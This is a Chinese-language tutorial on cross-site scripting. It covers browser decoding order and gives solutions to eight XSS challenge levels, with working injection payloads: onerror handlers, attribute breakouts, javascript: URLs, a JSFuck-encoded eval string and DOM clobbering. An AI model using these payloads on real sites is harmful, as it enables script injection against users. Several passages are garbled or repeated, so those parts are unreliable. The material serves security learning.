XSS漏洞:
文章目录
- XSS漏洞:
- 反射型:
- 第一个例子:
- 实体,url,和js的Unicode编码
- img——重要标签
- 浏览器解析机制:
- 容纳字符实体:
- 字符引用:
- RCDATA状态中的字符引用:
- URL解析:
- 解析顺序:
- Javascript解析:
- script标签
- js中两个重要规范:
- 一个非常规范顺序的代码:
- 断点
- 第一关:
- 第二关:
- 第三关:
- 第四关:
- 第五关:
- 第六关:
- 第七关:
- 解法1
- 解法2:
- 解法3:
- 第八关:
主要有反射型,存储型和DOM型。
反射型:
反射型:产生的原因还是因为用户的输入没有很好的过滤,导致用户的输入,输出到了前端的页面上。然后前端的页面把用户的输入解析了,导致前端页面出现了相关的漏洞。为什么这们说累,因为前端页面是可以解析我们的js代码的,而反射型漏洞的利用语句也是js。所以说用户再输入的地方输入js代码,然后后端程序没有很好的过滤在直接输出到前端,前端直接把js代码放到了html页面里面,导致了js代码就执行了,因为前端是可以执行js代码的。
第一个例子:
在这里我们可以看到后端的代码,直接将 G E T [ ] 得到的值和 h e l l o 拼接起来就返回前端了,被包裹再 < p r e > 标签里面。但是这里有个小问题就是为什么 _GET[]得到的值和hello拼接起来就返回前端了,被包裹再<pre>标签里面。但是这里有个小问题就是为什么 GET[]得到的值和hello拼接起来就返回前端了,被包裹再<pre>标签里面。但是这里有个小问题就是为什么html自动输出了而且前端自动多出了pre标签?先不管,反正就是输出了
然后这里是前端的代码和展示。
解释一下这里action的值是#,这里的#表示的一个锚点,会自动到页面的顶部。
然后继续做个说明,并不是所有的标签都可以解析我们的js语句比如说这个超大的文本输入框就不行,这个标签一般根input标签提交+form标签包含搭配使用,但是这里的pre标签可以。所以说,如果这个时候我们在用户框内输入如下内容,那么将会弹出一个警告框,警告框的内容是1,这是因为pre解析了我们的js代码
<script>alert(1)</script>
通过在控制器那里,输入以下函数测试,都可以发现页面弹框,这里prompt函数是让用户输入的一个函数
- alert()
- confirm()
- prompt()
js所有的方法类都是继承于window这个类下面,这里能会造成一个问题
实体,url,和js的Unicode编码
-
a标签内部的href属性支持我们JavaScript的伪协议,当点击aaa的时候就可以触发,这也就是标签内触发,所以第一个语句可以成功.
-
同时哈这里的href也适配url解码,就是说把里面的href的值去url编码在复制进去。因为正常的逻辑是你点击这个东西,然后它就可以进入url地址栏里面,然后url地址栏可以解码然后就可以执行,但是发现不行,浏览器地址栏显示了%28,%29
-
根本上说href本身不解url编码也不能识别,但是触发后到了url地址栏那里可以被解码并识别,所以说href适配不用误解了噢
<a href="javascript:alert(1)">aaa</a>
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>
- 以上是url编码方式,接下来继续研究html实体编码,html实体编码的形式就是根url编码的方式一样只是url用%,html实体编码用&#x,如果不是16进制的话这个x也可以省略.。但是为什么下面的这个代码可以成功但是上面的的不行嘞?这就要提及编码顺序了
- url编码:%
- html实体编码:&#x ; 或者 &# ;
<a href="javascript:%61%6c%65%72%74%28%32%29"></a>
第二个那个纯url编码的为什么不行了呢?这是因为href这个属性,它是要识别协议的,你把javascript这个协议url编码了,在href这里还没有解码所以href识别不了,当然就更别说后续的alert函数能执行了。但是哈当点击连接去到url地址栏的时候那个地址栏可以解析,但是没有执行了,因为herf属性此前并没有识别到JavaScript这个协议,所以这里的url属性解码出来的只能单纯的文本内容了。
在这里html实体编码优先级较高,所以它会在herf行动之前把自己解码回到javascript这个协议,然后href识别到了有javascript这个协议了,再次点击触发的话就可以按照这个js伪协议来了。总体来说可以总结成如下几个步骤:
- html实体解码还原了javascript伪协议
- href属性识别到了那个js伪协议
- 在前端页面触发后可以识别并执行js代码。
协议要包含冒号的,所以说这里的冒号不能被url编码成%3a,要么实体编码,要么不编码,下面的这种形式是不行的
<a href="javascript%3aalert(3)"></a>
img——重要标签
<div><img src="1" onerror=alert(4)></div>
-
<和62分别是<>的一个实体编码。
-
在img标签内部,如果路径不存在就会触发alert这个属性执行。但是这里不能执行,而是把这个当成字符串原样输出出去了,接下来深入底层去讨论这个浏览器的解析机制
浏览器解析机制:
在前端代码的解析机制中,主要还是要参考官方W3c的文章,和编译原理去理解这些东西。接下来将会引入一些概念。将HTML解析器当作一个状态机,有很多状态,识别到字符后按规则进行状态的转换。
- 识别到 ‘<’ 后进入“标签开始状态”,然后到“标签名 状态”…最后进入到“数据状态”,然后会释放当前标签的token。
- 当标签处于“数据状态的时候”会继续解析,每发现一个完整的标签都会释放一个token
容纳字符实体:
这里有三种情况可以容纳字符实体
- 数据状态中的字符引用
- RCDATA状态中的字符引用
- 属性值状态中的字符引用
在这三种状态中,html实体编码会被解码然后放入数据缓冲区中。例如在这里的这个例子
- <”和“>”字符被编码为“<”和“>”。当解析器解析完“
”并处于“数据状态”时,这两个字符将会被解析。当解析器遇到“&”字符,它会知道这是“数据状态的字符引用”,因此会消耗一个字符引用(例如“<”)并释放出对应字符的token。在这个例子中,对应字符指的是“<”和“>”。
- 这是不是意味着“<”和“>”的token将会被理解为标签的开始和结束,然后其中的脚本会被执行?答案是不会!
- 原因是解析器在解析这个字符引用后不会转换到“标签开始状态”。正因为如此,就不会建立新标签。
因此,我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据”。
字符引用:
有如下的两种方式
- 字符值引用:&#
- 字符实体引用:&It ;
RCDATA状态中的字符引用:
首先了解一下html的5元素
- 空元素:
- 原始文本元素
“RCDATA状态中的字符引用”。在和
URL解析:
首先,URL资源类型必须是ASCII字母(U+0041-U+005A || U+0061-U+007A),不然就会进入“无类型”状态。例如,你不能对协议类型进行任何的编码操作,不然URL解析器会认为它无类型。这就是为什么问题1中的代码不能被执行。因为URL中被编码的“javascript”没有被解码,因此不会被URL解析器识别。该原则对协议后面的“:”(冒号)同样适用
解析顺序:
html->url->javascript
Javascript解析:
script标签
所有的“script”块都属于“原始文本”元素。“script”块有个有趣的属性:在块中的字符引用并不会被解析和解码。这意味如下代码无效,在前台没有任何显示
<script>alert(9);</script>
js中两个重要规范:
-
严格区分大小写
-
不能编码符号,如单双引号等,字母数字不是符号
-
js解码的时候默认为字符串,所以要加上单双引号解码里面的内容
一个非常规范顺序的代码:
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)"></a>
先html—》html—》js
断点
并且可以在浏览器的这个地方下断点
第一关:
页面代码如下:
<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
通过id引用,让h2这个元素标签里面的值发送改变。等号右边是创建了一个URL对象并传递location,也就是当前页面的url,然后用引用了URL类里面的searchParams属性,这个属性也是一个类,然后用这个属性类的get方法传递somebody,如果不穿就默认是somebody字符串,然后这个结果连接右边的字符串,这么写就可以了
?somebody=<img src='134' onerror=alert(1337)>
这里有一个安全小技巧,用spaghet.innerText安全一点,因为这个不会解析你的js代码,而是并把它当作字符串
第二关:
<h2 id="maname"></h2>
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)
setTimeout(_ => {
maname.innerText = ma
}, 1000)
</script>
jeff的效果和第一关的somebody一样不多解释,然后这里有个eval代码执行。然后有个回调函数第一个参数是一个函数,函数名字是下划线,函数体是一个id引用然后赋值,让h2标签的内容等于ma。但是不同的是这里用了innerText比较安全,所以这里就不考虑之前的方法了,而是利用eval。答案如下
?jeff=aaa";alert(1337)";
注意因为是eval所以有分号,或者用js里面特殊的连接符号 - 也可以
?jeff=aaa"-alert(1337);-"
这里进入断点,发现eval函数的内部是这个样子的
第三关:
<div id="uganda"></div>
<script>
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
这里很明显有一个正则替换/ /里面是一个正则表达式g是表达匹配全句子的意思。不然的话只会匹配句子的第一处。所以说这里的正则就是你不能输入 [ < > ] 这4个符号,否则就会把他们替换成空字符串。但是注意这里用的还是innerHTML属性嘿嘿有机可乘。placeholder这个属性是一个提示信息,当输入为空时的一个提示,不同于value直接有个值
?wey=aaa" onclick="alert(1337)""
?wey=aaa" onfocus="alert(1337)""
这里有一种交互式的答案,就是用户点击才能生效,注意属性后面的值要有引号,这里的input标签还有个onfocus属性。但是都是需要点击的,于是乎又来了一个标签autofocus于是这个就是答案了,还不能直接只用autofocus属性
- 注意属性值有引号
?wey=aaa" onfocus="alert(1337)" autofocus="""
第四关:
<form id="ricardo" method="GET">
<input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
setTimeout(_ => {
ricardo.submit()
}, 2000)
</script>
这道题,初步分析是用户给form标签提供了一个action属性的值,然后两秒后会跳转到action的地方。
?ricardo=javascript:alert(1337)
果然不出所料,用到了js伪协议,只是这里不用加引号了
第五关:
<h2 id="will"></h2>
<script>
smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
smith = smith.replace(/[\(\`\)\\]/g, '')
will.innerHTML = smith
</script>
这里正则过滤的是有 [ ( ` \ ) ] 这几个符号,然后还是innerHTML提交。我先试一下字符编码(script不能用实体标签)
- < is &it ;
- ‘>’ is > ;
- ( is &lparen;
- ) is &rparen;
?will=⁢img src="1" onerror="alert&lparen;1337&rparen;">
测试发现啊不太行。于是用到了location。location
属性: 这个属性用于设置当前窗口的URL,改变页面的地址,相当于再次跑到url地址栏了去二次url解码。
?markassbrownlee=<img src="1" onerror=location="javascript:alert%25281337%2529">
第六关:
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
这里的正则是不能出现数字和字母,然后会执行代码balls里面的内容
%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%2B%5B!%5B%5D%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%2B(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D))%5B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B((%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%5D(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%5D)%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D)()((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%5B%2B%5B%5D%5D%2B!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)
这里其实就是先进入js.fuck网站对alert(1337)进行了一个js的编码,然后因为有加号所以在url编码,直接赋值给balls就可以了
第七关:
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
这里对正则过滤了 [ ` ’ " + - ! \ [] ] 以及函数alert,但是没有过滤完,是出题者的失误,直接试一下confirm,还限制了长度50
?mafia=confirm(1337)
解法1
这里要先介绍一下Function。Function构造函数用于动态创建函数。它接收参数作为函数的参数名和函数体的代码字符串,并返回一个新的函数对象。以下是它的用法:
const dynamicFunction = new Function('a', 'b', 'return a + b;');
console.log(dynamicFunction(2, 3)); // 输出: 5
上答案:
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
.source 属性返回正则表达式的文本源,即 “ALERT(1337)”,然后第二个()是立即执行。
解法2:
这里哈可以介绍2个函数:
- parseInt(‘alert’,30):可以将alert转换成30进制的表示第二个参数是多少进制的意思,第一个参数是一个字符串
- toString 8680439…toString(30)就是根parseInt相反的操作
然后还有个小细节,这里转会去的函数toString,的范围一定要大,不然转不回去如a是10,b是11…
?mafia=eval(8680439..toString(30))(1337)
但是为什么要两个eval嘞?原来里面的alert的作用是执行代码然后转换出alert然后可以拼接上后面的(1337)
解法3:
eval(location.hash.slice(1))#alert(1337)
第八关:
<h2 id="boomer">Ok, Boomer.</h2>
<script>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
setTimeout(ok, 2000)
</script>
这里的话是给h2标签的值重新赋值,但是下面执行的函数是ok,说明我们要自己构建一个ok为名字的函数。然后失败了
?boomer=let ok=function(){alert(1337)}
页面中的元素就是那些标签
,可以通过id或者name的值去取出来
?boomer=<a id='ok' href='cid:alert(1337)'>
oomer">Ok, Boomer.
这里的话是给h2标签的值重新赋值,但是下面执行的函数是ok,说明我们要自己构建一个ok为名字的函数。然后失败了
?boomer=let ok=function(){alert(1337)}
页面中的元素就是那些标签
,可以通过id或者name的值去取出来